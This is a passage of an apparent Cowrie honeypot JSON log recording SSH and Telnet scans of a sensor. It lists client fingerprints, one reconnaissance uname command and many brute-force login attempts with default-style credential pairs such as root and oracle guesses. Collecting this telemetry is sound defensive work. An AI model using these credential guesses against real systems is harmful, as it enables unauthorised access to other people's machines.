,"rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:17.769046Z","src_ip":"210.114.22.126","session":"a3d1660b0cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:18.820041Z","src_ip":"213.209.159.159","session":"065321156d0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:19.168124Z","src_ip":"176.65.139.173","session":"e8a1e5c25b27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.173","src_port":42490,"dst_ip":"159.203.135.109","dst_port":22,"session":"23a2cd6d003f","protocol":"ssh","message":"New connection: 176.65.139.173:42490 (159.203.135.109:22) [session: 23a2cd6d003f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:19.172369Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:20.394446Z","src_ip":"176.65.139.173","session":"23a2cd6d003f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.173","src_port":42640,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7ac375dbd9c","protocol":"ssh","message":"New connection: 176.65.139.173:42640 (159.203.135.109:22) [session: e7ac375dbd9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:20.473125Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:21.130685Z","src_ip":"122.168.114.167","session":"7ba0bf45ccfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:21.897770Z","src_ip":"176.65.139.173","session":"e7ac375dbd9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.173","src_port":42780,"dst_ip":"159.203.135.109","dst_port":22,"session":"34695c87e083","protocol":"ssh","message":"New connection: 176.65.139.173:42780 (159.203.135.109:22) [session: 34695c87e083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:21.975853Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"Password01","message":"login attempt [user/Password01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:23.082496Z","src_ip":"210.114.22.126","session":"a3d1660b0cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:23.398372Z","src_ip":"176.65.139.173","session":"34695c87e083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:24.887384Z","src_ip":"210.114.22.126","session":"a3d1660b0cc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":40348,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bdfa8f0c932","protocol":"ssh","message":"New connection: 122.168.114.167:40348 (159.203.135.109:22) [session: 9bdfa8f0c932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:25.148384Z"}
{"eventid":"cowrie.session.connect","src_ip":"106.192.74.44","src_port":20004,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e7c1f33ab62","protocol":"telnet","message":"New connection: 106.192.74.44:20004 (10.17.0.5:23) [session: 0e7c1f33ab62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:28.958907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:31.868096Z","src_ip":"122.168.114.167","session":"9bdfa8f0c932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:31.871754Z","src_ip":"122.168.114.167","session":"9bdfa8f0c932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:34.089092Z","src_ip":"14.103.114.172","session":"7b27239a2ed6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:34.822044Z","src_ip":"122.168.114.167","session":"7ba0bf45ccfc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:34.825714Z","src_ip":"122.168.114.167","session":"7ba0bf45ccfc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"6.9","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:41.738911Z","src_ip":"122.168.114.167","session":"7ba0bf45ccfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"62.0","message":"Connection lost after 62.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:41.830427Z","src_ip":"122.168.114.167","session":"7ba0bf45ccfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.326733350753784,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:43.285524Z","src_ip":"106.192.74.44","session":"0e7c1f33ab62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":51474,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f4bcc2a5ee1","protocol":"ssh","message":"New connection: 103.13.206.208:51474 (159.203.135.109:22) [session: 7f4bcc2a5ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:53.615851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:53.619296Z","src_ip":"103.13.206.208","session":"7f4bcc2a5ee1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:53.861592Z","src_ip":"103.13.206.208","session":"7f4bcc2a5ee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.64570450782776,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:54.831914Z","src_ip":"185.26.126.47","session":"d97a72affbc4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa.123456789","message":"login attempt [root/Aa.123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:54.866429Z","src_ip":"103.13.206.208","session":"7f4bcc2a5ee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:56.112219Z","src_ip":"103.13.206.208","session":"7f4bcc2a5ee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:59.677033Z","src_ip":"122.168.114.167","session":"9bdfa8f0c932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":42744,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd390ce3edbb","protocol":"ssh","message":"New connection: 122.168.114.167:42744 (159.203.135.109:22) [session: fd390ce3edbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:02.312898Z"}
{"eventid":"cowrie.session.closed","duration":"43.9","message":"Connection lost after 43.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:09.053737Z","src_ip":"122.168.114.167","session":"9bdfa8f0c932","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:10.391248Z","src_ip":"122.168.114.167","session":"fd390ce3edbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:10.396048Z","src_ip":"122.168.114.167","session":"fd390ce3edbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":45152,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ebce9ebf1dd","protocol":"ssh","message":"New connection: 122.168.114.167:45152 (159.203.135.109:22) [session: 4ebce9ebf1dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:42.139564Z"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:42.222768Z","src_ip":"122.168.114.167","session":"fd390ce3edbb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:49.102908Z","src_ip":"122.168.114.167","session":"4ebce9ebf1dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:49.106642Z","src_ip":"122.168.114.167","session":"4ebce9ebf1dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"48.2","message":"Connection lost after 48.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:50.489741Z","src_ip":"122.168.114.167","session":"fd390ce3edbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":20657,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4d35df68556","protocol":"ssh","message":"New connection: 2.57.121.25:20657 (10.17.0.5:22) [session: a4d35df68556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:51.126112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:51.130561Z","src_ip":"2.57.121.25","session":"a4d35df68556","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:51.241903Z","src_ip":"2.57.121.25","session":"a4d35df68556","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"checkit","message":"login attempt [user/checkit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:51.737518Z","src_ip":"2.57.121.25","session":"a4d35df68556","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":40374,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca8191736bfd","protocol":"ssh","message":"New connection: 210.114.22.126:40374 (10.17.0.5:22) [session: ca8191736bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:52.608951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:52.704801Z","src_ip":"210.114.22.126","session":"ca8191736bfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"chastity","message":"login attempt [user/chastity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:52.844872Z","src_ip":"2.57.121.25","session":"a4d35df68556","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:53.004219Z","src_ip":"210.114.22.126","session":"ca8191736bfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"cesar","message":"login attempt [user/cesar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:53.953030Z","src_ip":"2.57.121.25","session":"a4d35df68556","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git@2020","message":"login attempt [git/git@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:55.108470Z","src_ip":"210.114.22.126","session":"ca8191736bfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"cbr600rr","message":"login attempt [user/cbr600rr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:55.222627Z","src_ip":"2.57.121.25","session":"a4d35df68556","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"cavalry","message":"login attempt [user/cavalry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:56.330602Z","src_ip":"2.57.121.25","session":"a4d35df68556","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:56.408727Z","src_ip":"210.114.22.126","session":"ca8191736bfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:44:57.438165Z","src_ip":"2.57.121.25","session":"a4d35df68556","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":58030,"dst_ip":"159.203.135.109","dst_port":22,"session":"162d73f85547","protocol":"ssh","message":"New connection: 103.13.206.208:58030 (159.203.135.109:22) [session: 162d73f85547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:45:13.967475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:45:13.972999Z","src_ip":"103.13.206.208","session":"162d73f85547","protocol":"ssh"}
